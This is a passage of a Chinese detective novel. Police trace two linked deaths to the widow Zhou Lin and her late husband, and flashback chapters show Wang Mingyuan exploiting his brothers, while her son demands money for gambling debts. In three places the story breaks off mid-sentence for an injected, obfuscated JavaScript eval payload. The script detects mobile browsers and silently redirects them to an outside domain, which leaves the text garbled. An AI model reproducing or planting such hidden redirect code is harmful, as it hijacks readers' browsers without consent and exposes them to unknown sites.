“虽说这地方习俗如此,但确实烧得太干净,一点儿念想也不留。不过……说不好,东西留得多,线索就越多,暴露的风险就越大。哎对了,你到底看清楚了没有?能不能确定那戒指——” “清清楚楚的好吗?周琳手上的戒指和耿登手里的就是一个款式,你没看我故意歪了一下那果篮?虽说有同款的可能性,但汪明远的那枚不是没找到吗,先死马当成活马医吧。” “倒也是。” 忽然,口袋里的手机震动了几下。 班青接了起来,电话那头传来梁斌激动的声音:“青姐,你和杨哥赶紧回来一趟,监控……” 蔡小新的声音模模糊糊地穿插在其中:“监控有新进展了!另外,回来的时候记得帮我带一杯咖啡哦!” “一边儿去,嘴跟花洒似的,唾沫星子都快飞我耳朵里了!” “碍着你什么事儿了?青姐,记得我的咖啡哦!” “哎,走开走开……” “嘿,这腰果味儿的咖啡真不错!”蔡小新夸张地嘬了一口。 “榛果。”梁斌冷不丁地纠正他。 “就你懂,真厉害!”蔡小新剜了他一眼,放下手里的咖啡,看向显示器。 显示器里对比着两段视频,视频日期都是8月14日晚上:一段是城南水泥厂汪明远失踪当晚的视频,另一段是同样遇害的耿登走出出租屋的视频。 第一段视频中,一个穿着黑色短袖的人,费力地拖动着一个身着白色短袖的人,两人很快进入了工厂,随后很短的时间内,另一个穿着黑色短袖的人,低着脑袋,快步走入工厂。 第二段视频中,耿登穿着一件黑色的短袖,从破旧的大楼里瑟缩着脑袋,很快隐入一片漆黑之中消失不见。 “两个视频合起来乍一看,是不是觉得耿登就是当晚的凶手,他打伤了汪明远,拖着他进入工厂?”蔡小新又嘬了一口咖啡,不无得意地继续讲,“其实不然!你们看啊,耿登比一般人都要瘦,跟火柴棍似的。再看水泥厂的这段视频,穿黑色短袖的人显然要比耿登的体格大。” 班青捏了捏下巴,赞同道:“对,两个人体格不一样。” “是吧,是吧。你们再看啊,这个被拖行的人,是不是很瘦?他的体格就跟耿登合上了。最主要的是——” “最主要的是鞋。耿登走出大楼的时候,穿的是一双人字拖,这个被拖行的人也穿着一双人字拖。”看不惯蔡小新得意忘形,还故意卖关子,梁斌赶紧补充了一句。 “嗯……所以耿登尸体出现在岸边的时候,脚上没有鞋,因为他生前穿的人字拖很可能被河水冲走了。”白杨若有所思,而后忽然出了声。 “对,而且你们再看,14日中午汪明远走出学校的视频,这里,他穿了一双运动鞋。而扯着白衣男子进入工厂的人,也穿着运动鞋。” 蔡小新此刻渐渐收起吊儿郎当的样子,继续道:“而且关图中学对老师有着装要求,严禁穿拖鞋上班,因此这个穿着白色短袖和人字拖的人,根本不是汪明远……而是耿登。” 如此一来,之前关于周琳和他人合谋杀害汪明远的推断,便被彻底打翻。 并非是周琳和耿登合谋,而是周琳和汪明远合谋,两人一起杀害了耿登。 只是……汪明远不知道为什么,也死了…… 班青沉默了一会儿,做出一个假设。 “在水泥厂外面,汪明远打晕了耿登。作案后,他无意之中发现远处鱼塘的监控,于是急中生智,交换了两人的衣服,伪装成自己被打晕,再把耿登拖到水泥厂里。 “随后,两人发生激烈的打斗,混乱中耿登取下了汪明远的婚戒,之后耿登攥着戒指被汪明远抛尸。” 梁斌满脸疑惑,“但是尸体怎么从水泥厂进入到河里?” “排污管道。排污管道直接连通巢河。当年水泥厂就是因为排污加上效益问题关停。” 梁斌有些明白了,“所以汪明远把人拖进水泥厂后,又扔进了排污管道里,几天后巢河水位暴涨,耿登的尸体就被带了出来?” “汪明远被人烧死的那天晚上,周琳在聚业小区,并不在水泥厂,那……那又是谁烧死了汪明远?难道……现场还有第四个人?”蔡小新惊叫一声。 班青悠悠道:“周琳和汪明远又为什么要杀掉耿登……” 两天后,白杨和班青第三次登了周琳的家门,蔡小新则拉着梁斌跟他一块儿去了水泥厂查看排污管道。 白杨和班青到周琳的家中时,只有周琳一个人在家,她儿子周凯已经回了学校。 许是周凯照顾得很上心,周琳的状态恢复很快,看起来已和往常无异。 照例热情客气,照例一问三不知。 白杨坐在沙发上,有一搭没一搭地跟她闲扯。 “你老公出事的那几天,你正在乡下亲戚家奔丧?” “嗯,我小姨夫过世了,按照咱们本地的习俗,要停灵的,所以我那几天都在那儿。” “你小姨挺难过的吧?一辈子的夫妻——” “哦不,我小姨很多年前就去世了,生我表弟那年难产死的。之后小姨夫很快就找了个新老婆,我妈当时还挺生气,两家闹得很不愉快……哎呀,时间过得真快,我妈和小姨转眼都去了几十年了。” “这么多年了?难得你和你小姨夫家还走动。” “是啊,都是上一辈人的恩怨了,我表弟是个实诚人,耿直踏实,我们这些年关系很好的。老人去世,我不去的话,就太不像话了。” 班青听到周琳的话,捏着绿萝叶子的手顿了顿,很快又恢复了原样。 “是这个道理。”白杨接了一句,喝了一口快凉掉的茶水,之后就再不说话。 周琳也不急,等着对方开口,顺手拿起桌上茶壶,给白杨再次斟满。 周琳握着茶壶的右手上已经没有了戒指。白杨眼色一动,垂下眸子静静地喝茶。 漫长的静默之后,在阳台翻弄花草的班青走进了屋子,坐在白杨旁边,不经意地拿起茶杯:“这青花瓷的杯子真不错,看着挺好看的,就是有年头了……” “超市里随便买的,好看不好看的我们这个年纪的人也不在意了,实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056067|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用就行。”班青喝了一口,周琳起身给她再添上,“茶叶也是看着买的,你们随便喝喝,不介意就行。” “不会……哎对了,汪老师很爱喝茶吧,当初我看他办公桌的抽屉里存了很多,都是些好茶啊,不过就是太贵了,平常人可喝不起。”班青放下茶杯,笑着看向周琳。 周琳正要放下茶壶,闻言,脸上闪过一丝不自然,推说道:“老汪的办公室我不怎么去,他抽屉里有些什么我还真不知道。虽说老夫老妻,但毕竟要给人留私人空间的,我不好多过问。” 白杨突然抬起头,微扯嘴角,直勾勾地盯着周琳:“所以……汪老师也这样给你留了私人空间,你就和你们部长——” “咣当!” 周琳手里的茶壶没放稳,随着白杨的话落翻倒在桌子上,撞出出一声巨响。茶水撒了一整个桌面,水流顺着桌沿流了一地。 周琳满脸不自然,借口收拾桌面起身,打算离开客厅。 “没事儿,先这样吧。洒得也不多,纸巾擦擦就行。”班青扯了几张抽纸,三两下收拾好残局。 很快地,周琳收拾好脸上的尴尬,继续应付他俩:“你们……你们怎么会知道?不过这是我的私事,谁家没有点说不出口的秘密?我吧,一直觉得很对不起他,特别在他死了之后,心里更是煎熬……” 话还没说完,周琳拿过来一张纸巾,做了个擦眼泪的动作。 班青看一眼旁边不为所动的白杨,行吧,只能由自己安慰:“你也别介意,我们没有别的意思,只是照例调查,偶然翻出了这件事。” 周琳心中一阵盘算,不敢置信地反问:“你们不会是怀疑我杀了老汪吧?是!我承认,我是出轨了!是我不对!但是我没有杀他!” “别激动,你都没有作案时间。”班青替她找补,“但是,你再回忆回忆呢,你丈夫生前和谁走得近?或者和谁有仇?谁嫌疑最大?哦对了,我这儿有几张照片,你看看你认识吗?” 班青取来包里的一沓照片,一张一张地摆在周琳面前,让她辨认。 一共十张,包括汪明远在关图中学的几个同事、几个熟悉的朋友、耿登以及秦晓峰。 周琳按着照片给出的顺序,一一说出了照片中几个人的名字。 第六张。“邹小民,老汪以前的搭子,他教语文的。” 第七张。“秦晓峰!绝对是秦晓峰,他都寄恐吓信了,嫌疑最大的就是他!” “你先别激动,我们已经查明了,信不是他寄出的,他也没有作案时间。” 周琳猛地抬头看向说话的白杨,瞳孔睁大:“没……没作案时间?怎么会——” “因为事发前,他喝醉后摔断了腿,一直在床上躺着。” 周琳随即眨了眨眼睛,低下头闷声喃喃自语:“那……那就不是他了,会是谁……” 照片辨认继续进行。 第八张。“王伟,老汪年轻的时候就认识的朋友,这些年见得少了。” 第九张。“徐鹏程。楼下总跟他一起跑步的邻居。” 第十张。 耿登,那个周琳一直说不出口的名字…… 周琳驾轻就熟地扫视了一眼最后一张照片上的脸,心中巨浪滔天,随意搭在沙发边缘的手不自觉地抖了起来。 白杨的视线跟着她的手,后者急忙不经意地扯了扯衣角,而后把手揣进了衣服兜里。 她很快恢复了脸色,坚定地摇了摇头,“这人我没见过,不知道什么名字,也没听老汪说过。会不会是搞错了?” “怎么会没见过呢?认尸那天,躺着的那人不就是他吗?你见过的呀。”白杨冲着照片努了努嘴,示意周琳。 周琳没再看那照片,不确定地说道:“是……是嘛?那尸体都烂了,我一时间还真没看出来。是不是搞错了,他跟我们老汪有什么关系?” “哟,还真是,我的错,我的错!这是另外一桩案子的,出门的时候走得急,没仔细看,弄混了。抱歉啊!”班青将耿登的照片撤回。 周琳试探道:“另外那桩是,是个什么案子?”。 “这个就不好说了吧,我们要求保密的。”班青断然拒绝。 周琳心中止不住的忐忑,不过又回想到那晚的场景。 人又不是她杀的,她全程没动手,现在两个涉事之人都死了,还有什么可害怕的? 不过几个瞬间,她就调整好了心态。 她主动出击:“两位警官,你们可一定要给我家老汪做主啊!凶手一天抓不到,我就一天不能睡安稳觉。亲戚朋友都很关心,尤其是老汪的弟弟,一直牵挂他哥的事,再抓不到凶手,我都不知道怎么跟他交代!” “我们近来都在查这件案子,你放心。”班青也顺着她演。 “太感谢了,我也是关心则乱。我身体还算不错,但是我小叔子身体不好,受不得刺激,他又在村里,交通不方便,要因为老汪出什么事情,我更不好交代——” 白杨挑眉,问絮絮叨叨的周琳:“村里?” “是呀,是在村里,河阴村,老汪的老家。” 16. 汪明远2 汪明远是他家三个兄弟中唯一的读书人,只有他考出了河阴村,只有他彻彻底底地逃离了贫苦的种地生活,只有他再也不用灰头土脸地如祖辈一般卑微地过活。 只不过,代价就是磋磨尽全家人。 磨得态度坚决的母亲最终软了心肠,磨得从小娇生惯养、没吃过苦楚的父亲终于弯腰、挺不直脊梁。 同样地,磨得两个弟弟早早地辍学,早早地被改写命运的轨迹。 汪家三兄弟中,两个弟弟年岁相当,汪明远大上他们七八岁,本应当是最稳重的兄长,却任性地一意孤行。 于是乎,汪家二弟汪明运和三弟汪明迅没奈何,和父亲一起承担起了整个家庭的重任。 在汪明远第二次考学失败,央求父母支持自己复读未果而摔摔打打的时候,瘦瘦小小的汪明运正在院子里喂鸡。 先是大哥在堂屋里暴怒摔碎东西的声音,而后是正值中年却病弱不堪的母亲声嘶力竭的哭声,夹杂着父亲一浪高过一浪的怒吼。 三个人的声音充斥在院子的每一个角落,也飘出去,钻入行人特意贴过来的耳朵里。 早在上一年,在汪明远的执意要求和汪母心软的妥协之下,汪父就掏干了为数不多的家底,以及多年来攒下打算买缝纫机的钱。 再一次落榜,再来一次相同的打击,就算是汪明远砸烂了整个家,砸死了所有人,无论怎样也再没有下一次机会,如果没有两个弟弟的妥协的话。 汪明运就是在这个时候下定了决心要辍学,无他,大哥不心疼父母,但自己是心疼的。 和汪明远的资质平平全然不同,汪家三弟是个完全没有读书天赋的人,甚至一念书就犯头疼的毛病,但是汪家二弟在三人中天资最佳,总得到老师的夸奖。 但几乎在所有家庭中,老二都是不起眼的,最容易被忽视的。 大哥表现得嘴甜贴心,哄得家中的母亲和奶奶都偏爱他,三弟调皮捣蛋,又是家里最小的孩子,汪明运夹在中间,就更是无人在意。 就这样,汪家二弟站了出来,带着尚且懵懂的三弟,毛还没长齐,就承担起了供养家庭的重任。 两人找到汪母的一个远房亲戚,拍着胸脯保证自己少吃多干、力气大,好说歹说才劝动了这位远房表叔。从此,两个半大的少年就跟着这位表叔,去了一位城里大老板开的黑砖窑厂。 彼时,两人都只是十岁出头的年纪,跟着一群大人,在脏污灰暗的砖窑厂里挥洒汗水。 砖窑里火光照人,热烈的浪潮好像一个厉鬼,火舌更是像极了妖怪的触手,下一秒就要大手一挥,将炉窑四周的人蓦地裹挟进去。 火光将两个半大小子的脸照得通红,红光中,稚嫩的脸颊透出几许倔强,稳重得让人心疼。 浪火烘得人汗水涔涔,汗水顺着脸颊,顺着身体,顺着破烂了的衣服,再滴落进砖窑厂的泥地里,消失不见。 汪家两兄弟年少的记忆,是泡在永远干不了的汗水里的。 同样的时间里,在遥远的大城市,汪明远从安城的中专毕业了,顺利地得到安排的工作。一切的美好与前途,加诸于己;所有的不幸和困顿,留给他人。 砖窑厂没过几年再也开不下去,彼时汪母早已去世多年,汪父历经多年辛苦,同样在一个冬日里撒手人寰。 兄弟两人再也没了牵挂,跟着同村的人走南闯北,去邻省修路修桥,去北方省份挖煤挖矿,去东部省份进厂打工。 哪里都去,什么脏活累活都干,从今往后,再不必坚守和母亲临死前的约定,再不用把挣来的一分一厘都汇给那个自私的哥哥,往后是为兄弟两人各自的小家谋划了。 都说吃得苦中苦,方为人上人,可现实是越能吃苦,就越要吃苦。 苦难越来越多,负担越来越重,命运的玩笑越来越大。 吃了苦中苦,然后呢? 苦难怎么会有尽头? 这是汪明运和汪明迅一辈子都没有参悟的道理。 劳其筋骨,饿其体肤,而后和他俩一样,大多数人等来的,不是天降大任,而是命运无休无止的磋磨,是性命如草芥一样的任人践踏。 但这个理想主义的道理在这片辽阔的大地上,绵延传递了数千年,引领着子子辈辈前赴后继、无穷无尽。 终于,命运的玩笑开得出了格,以至于嘲笑。 彼时,汪明运两兄弟都在北方某省份的一个煤矿挖煤。挖煤炭的工作着实辛苦,成日从早干到晚,甚至在煤矿底下连白天黑夜都分不清楚,灰头土脸,一身酸臭,不像个人样,就这样,也只不过是糊个口。 不过汪明运和汪明迅都已年逾四十,这样悲苦的生活从他们十岁出头便开始,早已习惯,不痛不痒,如同一日三餐,成为了刻在骨髓里的本能。 麻绳专挑细处断,厄运专找苦命人。 煤矿塌了。 汪明远的二弟汪明运被人挖出来的时候,身体僵硬,混在漫身的煤渣里,早已没了声息。 名里带运,命里无运。 而三弟汪明迅的情况明显好上许多,虽说没了双腿,再也不能正常地走路干活,但好歹保住一条命。 远在河阴村的家人听闻噩耗,顾不得悲痛,匆忙奔赴北方。家中顶梁柱去了,可活着的人不能不顾。 他们多次去煤矿找老板,想要个说法。可这样一群没有文化、不懂法律的外地人,别说是老板,就连煤矿上的负责人也见不到。 煤矿上的人欺负他们没文化,也不认识什么有大能量的人,连利诱的手段都懒得用,只是威逼,只是恐吓。 汪家人人生地不熟,忍着害怕去了几次煤矿之后,终于见到了煤矿老板。 那是个肥头大耳、一身横肉的中年人,夹着一个他们这辈子都没见过的昂贵皮包,眼睛朝天上看,只拿鼻孔对着他们,仿佛连看他们一眼都是跌了身份。 他听着汪家人的哀求和诉苦,不甚在意地拍着身上的灰尘,对眼前的情景无动于衷、置若罔闻。听完他们只会示弱的话语,再看看他们一身的寒酸,精明的商人心中有了盘算。 煤矿老板开了尊口,不仅没有一丝歉疚,更不要说赔偿,他算计对方的弱势和胆小,反而恶狠狠地大骂汪家的人。 反咬一口,倒打一耙,捏造谎言,虚构汪家两兄弟干活失误,因此带给自己的损 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056068|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失。 还说汪家两个兄弟一身煞气,正是这两个倒霉鬼影响了他家煤矿的风水,往后自己的工程要是出事,定是这两个灾星的过错。 要他赔偿也可以,只是要先算清楚了账。 煤老板当即唤来旁边一个尖嘴猴腮的豆芽菜男子,那人不知从哪里掏出个计算器,装模作样的几下盘算,竟然向汪家人讨口,反让他们赔偿五十万。 汪家人被气得发抖,上门讨要说法不成,在煤矿上各路人马的推搡中,最后竟然被煤矿的工人赶了出去。 工人们也怕惹火上身,反正汪家两兄弟死的死、伤的伤,不过是两个和自己一样的倒霉底层人,又不是自己害得,趁此机会在老板面前好好表现一番,何乐而不为? 至于可能招致的报应? 呵呵,都说为非作歹的人自有天收,所谓因果报应,汪家两兄弟勤劳心善,累死累活,怎么招来了这等下场? 去你二大爷的老天爷!死骗子! 汪家人叫天天不响,叫地地不应,最后没有办法,不得不低下身子,找到了在城里工作的大伯汪明远。 这个大伯早已经逃脱了乡下的穷窝窝,如今自己一身光鲜,一整个城里人做派,又怎么还会跟乡下的两个泥腿子弟弟来往? 何况,要是被人知道了他乡下出身,岂不是又让自己回到当初在城里念书时,无端被班上城里同学嘲笑的日子? 可十分出人意料,汪家两个妯娌找上汪明远家时,本抱着姑且一试的决心,甚至准备好了吃一记闭门羹、坐一场冷板凳,但汪明远一改往日的淡漠,主动承担起了“讨伐”煤老板的重任。 不仅是汪明远,就连平时只见过几次面的大嫂周琳,也对煤老板表现出十分的恼恨,随后又柔柔地做声,贴心地安慰起两个妯娌。 两个人最近忙着自己丈夫的事情,提心吊胆,害怕煤老板找茬打压,又忙活着汪明运的丧事,以及汪明迅的治疗。 听了周琳的安慰,得了汪明远挑担子的态度,多日悬着的心终于放了下来。 只是两个“愚蠢”的乡下人,怎么算计得过两个“聪明”的城里人? 兴许是她们心中悬着的石头已经落地,脚步轻盈而告辞离去的身影太轻快,以至于没看见背后汪明远脸上止不住的欣喜,和周琳嘴角再也藏不住的嫌恶。 几周后,汪明运和汪明迅的事情结束了。 由汪明远带着河阴村村委的话事人,去了煤矿和煤矿老板进行了谈判。 当日谈判的内容如何,没人知道,只是三个人离开的时候,煤矿老板的脸色略有些难看,汪明远倒是十分满意。 回到河阴村之后,在河阴村村委的确认下,汪明远抱歉地告诉两个悲痛的妯娌:煤老板身陷债务,资金周转不开,自己好说歹说,才从那人手指缝儿里挤出三十万来。 “明运和明迅的事情,我虽然尽了全力,但还是……我们都是一家人,以后有什么事情尽管来找我。” 汪家两妯娌就拿了三十万,还有汪明远一句任谁也不会相信的漂亮话,将各自丈夫的不幸遭遇埋藏在心里,从此顶替家里的男人,挑起供养整个家庭的担子。 17. 重查火场 白杨和班青从周琳家出来后,刚走到楼下的小花坛,就接到了梁斌的电话。 “青姐,杨哥,你们那边处理完了吗?我和小新这边查出来一些东西。” 两人对视一眼,默契地没再言语,一路紧赶慢赶,很快就到了南部郊区的水泥厂。 “杨哥,青姐,这边!这边!”蔡小新远远地跟他俩招手,旁边还站着梁斌。 这片厂房本是关图县一个非常重要的园区,聚集了大量产业和来此工作的工人,随着产业不断搬迁,加之效益不佳,前些年渐渐的都废弃下来。 城南水泥厂就处在一大片荒芜的厂房中间,厂房的后面就是贯通东西的巢河。起火的那晚,已经是晚上十一二点,加之天气炎热,又人迹罕至,所以很短的时间内,火势就愈演愈烈。 根据附近的居民陈述,起火点应该是以前的杂物间,里面堆了些纸板、石棉口袋等易燃的东西。 当日第一个发现起火的,是给班青他们提供鱼塘监控的那位大叔,他透过他家窗户看到一阵黑色的浓烟,当即拿起手机打了119。 连衣服也没来得及穿上,等他咚咚咚几步走到家门的空地上时,不过几分钟的功夫,厂房的浓烟已经演化成肆虐的大火,火舌四处舔舐,好像要摧毁城南的夜空。 “怎么了?查出什么了?”白杨抹了一把额头上的汗,和班青一起朝两人走过去。 走近了,一股浓烈的土腥味扑面而来,而梁斌和蔡小新满身都是黑色的淤泥,脸上,鼻子上,甚至头发丝上都沾满了。 “咋了你俩这是?跳泥坑了?”蔡小新做了个起步的动作,班青赶忙闪开,“别!离我远点,再溅些泥点子到我身上!” 白杨也嫌恶地捂住鼻子:“干啥了你俩?哎呀,真味儿啊!” 这次蔡小新和梁斌扩大了排查范围,不再局限于起火的厂房地面,毕竟残垣断壁,且之前就看得差不多,他们按照白杨猜想的,去河岸边仔仔细细查看了厂房地底下的排污管道。 但那日涨水实在厉害,河水倒灌进管道,冲刷去了所有的痕迹。 蔡小新打着手电筒,和梁斌一起,弯腰探头伸进管道里看,视野所及之处,只是些淤泥和垃圾,还有几缕水草。 有的泥泞处已经被他们的人挖开,不过暂时没找到新的线索,剩下的一堆烂泥不知什么时候能够清完,也不知道是不是又是竹篮打水、劳而无功。 蔡小新一直是个倒霉催的体质,查看一番,正打算打道回府的时候,他一个不察,踩到管道旁沾了露水的草,随即四脚朝天,栽倒在地。 跌进淤泥的一刹那,蔡小新痛恨他今早出门没看黄历,刚买的新衣服又糟蹋了! “啊!糟了!我的衣服!” 他的两只脚陷进淤泥里,并不听他的控制,他空有一身蛮力,此刻也只能双手乱挥,想要随便抓住点什么东西,好支撑住身体,让自己不至于太狼狈。 所幸,他抓住了污水管道的边缘,向后仰倒的功夫,脚下淤泥的拉扯力和地心引力的双重作用,叠加上脚下的湿滑,让他不得不一身狼狈。 蔡小新尤其凄惨地摔入泥水当中,脏臭发黑的泥水灌入他的耳朵,鼻腔下一秒就被泥土的腥臭占满。 “新新!虽然天气热,但在这里洗澡怕是不行哦!”不远处,梁斌听到轰隆一声巨响,而后抑制不住地捧腹大笑起来。 蔡小新想骂人,但是他又害怕一张嘴就灌进去一堆泥,或者咬到条死了很久的小鱼。 不远处的几个同事也跟着梁斌大笑,几个人笑完了才伸手将他从泥水里拉出来。 蔡小新一只手被他们抓住,另一只手扒住管道的边缘借力,这一扒却让他却从管道内侧的淤泥里抓出了一个硬物。 他的手再往淤泥里一伸,手掌中便感受到一截有些细长的圆柱体。 他一把扯出,上面布满了淤泥,难以看得很清楚,但头顶的阳光照射在偶尔漏出的地方,反射出一缕缕刺眼的光线。 正在这时,管道的另一侧,梁斌激动得大喊一声:“找到了!” 蔡小新扭脸一看,梁斌不知拿着个什么东西,脸上难掩的欣喜,还没高兴上几秒,就跟蔡小新一样,狠狠地向后栽倒。 将证据送去检验的过程中,班青四人对比了耿登和汪明远的个人资料。 耿登,安城关图县河阴村人,现住所为关图县河阴村。 汪明远,现住所为安城下辖关图县聚业小区,户籍所在地为关图县城东街道,但是变更之前,和耿登一样的,都是河阴村。 根据两个人的户籍信息对比,可以确认,他们生前是认识的。 但要说有多熟悉,倒是不太可能,毕竟职业、生活的圈子、交往的人都不一样。 成年人的世界利益排第一,要是没有好处,长大了最多也只是点头之交,更何况两人相差12岁,连童年玩伴都不是。 但是汪明远和耿登的哥哥耿攀倒是岁数相当,小学还曾在一个班级念书,只不过一个小学就辍了学,一个一路念到中专毕业。 耿攀,又是耿攀。 “这个耿攀已经死了吧?”白杨看着手里的一沓资料,头也没抬地问道。 “是,已经死了二十几年了,死于1990年11月23日。死因是腹部的刀伤,流血过多,最后不治身亡。死的时候,巷子周围的居民都已经睡了,商户也都关门了,所以没人看到凶手。 “尸体在23日早上5点左右,被一个早起赶路回乡的外地人发现,之后报警。但是凶器被带走,也没有证人,就成了一桩悬案。” 班青蹙了眉头,不解地问道:“我记得耿家婶子说他去喝朋友的喜酒,喝这么晚,他朋友不管他?” 梁斌又将卷宗往后翻了几页,不多时就找到了当年证人的记录。 “嗯……他朋友说当晚客人走得差不多,就剩耿攀一个,他喝酒喝高兴了,一直不愿意走。耿攀名声不好,作为主家不好留他,所以就装作不知道,至于几点走的……他也不清楚。” 班青脑中浮现出河阴村老人和耿家婶子欲言又止、讳莫如深的模样,心中有些明白了。 耿攀那样的人,留他在家反而容易招惹祸事,于自己家名声也不利。 可毕竟是来喝喜酒的朋友,直接撵人又说不过去。 干脆不挽留,也不拒绝,由得他去。 只是没想到,竟然发生了那样的惨事。 深夜,聚业小区周琳的家中,两个人正压着声音说话。 一场争吵正在酝酿,即将爆发。 “妈,我求求你了,你再帮我一次吧!我,我保证,这是最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056069|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次!你一定要相信我!” 周凯穿着短裤,裸露出膝盖,直挺挺地跪在周琳面前。 周琳这几天一直睡不着觉。 每到深夜,恐惧就从脚底一路爬上她的天灵盖,在近40度的天气里,凉得她心底跟冰窖一样。 听到周凯的话,她更是心力交瘁,一股莫名的烦躁冲上头顶,让她几乎忍不住一脚踹过去。 她用力捏紧拳头,又松开,抓紧了头发。 “我已经说过了,上次就是最后一次。我已经帮你收拾了一堆烂摊子,现在你爸也没了,我也再也没有精力处理你的破事儿!你的问题,你自己想办法,我反正是帮不了你了!” 周琳说着,从沙发坐起来,起身打算回到卧室。 她的腹部突然传来一阵隐隐的疼痛,左手猛地捂住肚子。看来胃病又犯了…… “妈,我求你了,你再帮我一次!就这一次! “他们说了,如果我再不还钱,就要爆我的通讯录,给我同学、朋友还有你们都打一遍电话,还会到学校去找我!到时候可就人尽皆知,我一辈子都抬不起头! “你再救儿子一次吧!这次还完了那些人的钱,我就改邪归正,一辈子不再赌博,不再借高利贷!我以后一定好好孝敬你,连着我爸对你的亏欠一起还你!” 周凯的膝盖上已经乌青一片,也顾不上疼痛,看见周琳要离开,赶忙跪着走向她,死死抱住她的腿。 她记得上一次周凯如此抱住她大腿的时候,还是在他幼儿园的时候。 那时候由于汪明远工作调动到关图中学,周凯也跟着换了个幼儿园。面对一群陌生的稚嫩面孔,性格上并不活泼的儿子,抱着她的大腿不愿意撒开,一个劲儿的扑倒在她怀里,让她带着他回家。 但是,再不愿意去新的幼儿园,再不愿意认识新的小朋友,她耐着性子哄一哄也就好了。 一直如此听话乖巧,成绩好,性格也好,一路顺风顺水,结果偏偏在大学翻了船! 周琳怒从心头起,胃上的疼痛激得她再也控制不住脾气。 “人尽皆知!抬不起头!你现在知道了?早的时候干什么去了?我背着你爸替你还了多少钱,你知道吗? “有还完的时候吗?周凯你还是不是个人?你爸刚去世几天啊,你就死缠烂打地管我要钱? “我告诉你,我现在没有心思跟你扯!儿大不由娘,你的人生,你乐意活成什么样就活成什么样!你看看这个家,啊,这些个家具电器的,你要是看上什么就拿去卖,我反正一分钱也没有!” 周凯似乎是被骂得狠了,鸵鸟一样埋着脑袋,一声没吭。 就在周琳以为他快放弃的时候,脚边的人却猛地仰起头,阴恻恻地看着自己,瞪大的眼睛里,好似淬了剧毒。 “妈妈,我的好妈妈,你怎么会没有钱呢?我二叔和小叔的钱,还有我那没见过面的姥爷留给你的钱……怎么会没有呢? “我爸……我怎么求他,他都不愿意给我钱,不愿意救我一次。难道……你也要这样对我吗?” 周琳险些站不住,吓得后退几步。 她看着眼前带了几分冷笑和讥讽的儿子,心头溢满了不安,“你……什么意思?你到底知道些什么?” 周凯不言语,继续笑着,笑得越发灿烂。 18. 汪明远3 汪明远从小就学到的道理:嘴甜、多笑是很有用的,因为大多数人都吃这一套。 所以他从不像自己两个傻瓜弟弟一样,只顾埋头干活,不懂得邀功请赏。 会哭的孩子才有奶喝,不管他应不应当喝。 汪明远觉得两个弟弟这种做派最傻,活儿可以少干或者不干,但是邀功吹嘴可千万少不得。 他把这一套用在爷爷奶奶身上,成为了汪家最受宠爱的“小少爷”;后来家里落寞了,同样的一套又用在父母身上,两个弟弟辍学给自己铺路。 他觉得一切都是理所应当,以至于后来他念了安城的中专,也觉得应当如此。 所以他是班上嘴巴最甜的学生。 班上四五十个同学都还端着一副文化人的扭捏样子,彼时,他已经深谙拍马屁这一套,并且运用得炉火纯青,从老师那里得到了各种小恩小惠。 但是,也仅仅局限于小恩小惠。 汪明远不知道的是,世上的利益也分大小,就像人和人也分亲疏一样。 小恩小惠无关紧要,因为“紧要”的人不屑争夺,旁人稍稍施加一点恩惠,便能听到几句漂亮话,因此也乐于顺水推舟。 但是面临巨大利益的时候,情况全然不同,因为“紧要”的人出手了,他们也要来争夺,甚至不是争夺,而是不费一言地直接收入囊中。 此时,本无利益牵扯、应当保持中立的旁人,自然而然成了“紧要”人物的拥趸,几句虚假的漂亮话哪里比得上“紧要”人物的青睐,万一入了后者的法眼呢? 汪明远的漂亮话再也起不了作用,因为他不是“紧要”的人,也没有“紧要”的关系,他只是一个来自偏远县城下贫困村子的穷学生。 所以,他勤勤恳恳地学习、钻营,只换来滚回关图县教书的落魄。他只能看着班里那些个整日不学无术的人偷走他的梦想,被安排到安城的好单位工作。 那一瞬间,汪明远突然觉得自己虽然用尽了力气,却只能从河阴村踏出一只脚,另一只脚好像被那片自己嫌恶过无数次的土地诅咒着,被那土地上蜿蜒而过的河流拉扯着,让他永生永世摆脱不了。 汪明远不甘心,一脸愠怒地跑到老师的办公室,想问问凭什么。 那是一个有些文质彬彬的中年女老师,戴着一副黑框眼镜,有些发胖的身体让她显得很是随和,只不过仅仅针对于班上的男生。 不知是不是为了弥补年轻时候的遗憾,或者只是简单的异性相吸,某些中年妇女待年轻女性十分尖酸刻薄,甚至于充满敌意,但对年轻男性又格外宽容,以至于纵容,掺杂着母亲对儿子的慈爱,以及妻子对丈夫的温顺,活脱脱一个个精神分裂患者。 汪明远用自己的嘴甜大法,早早地征服了这位女老师,平日里她对汪明远最是温柔体贴。 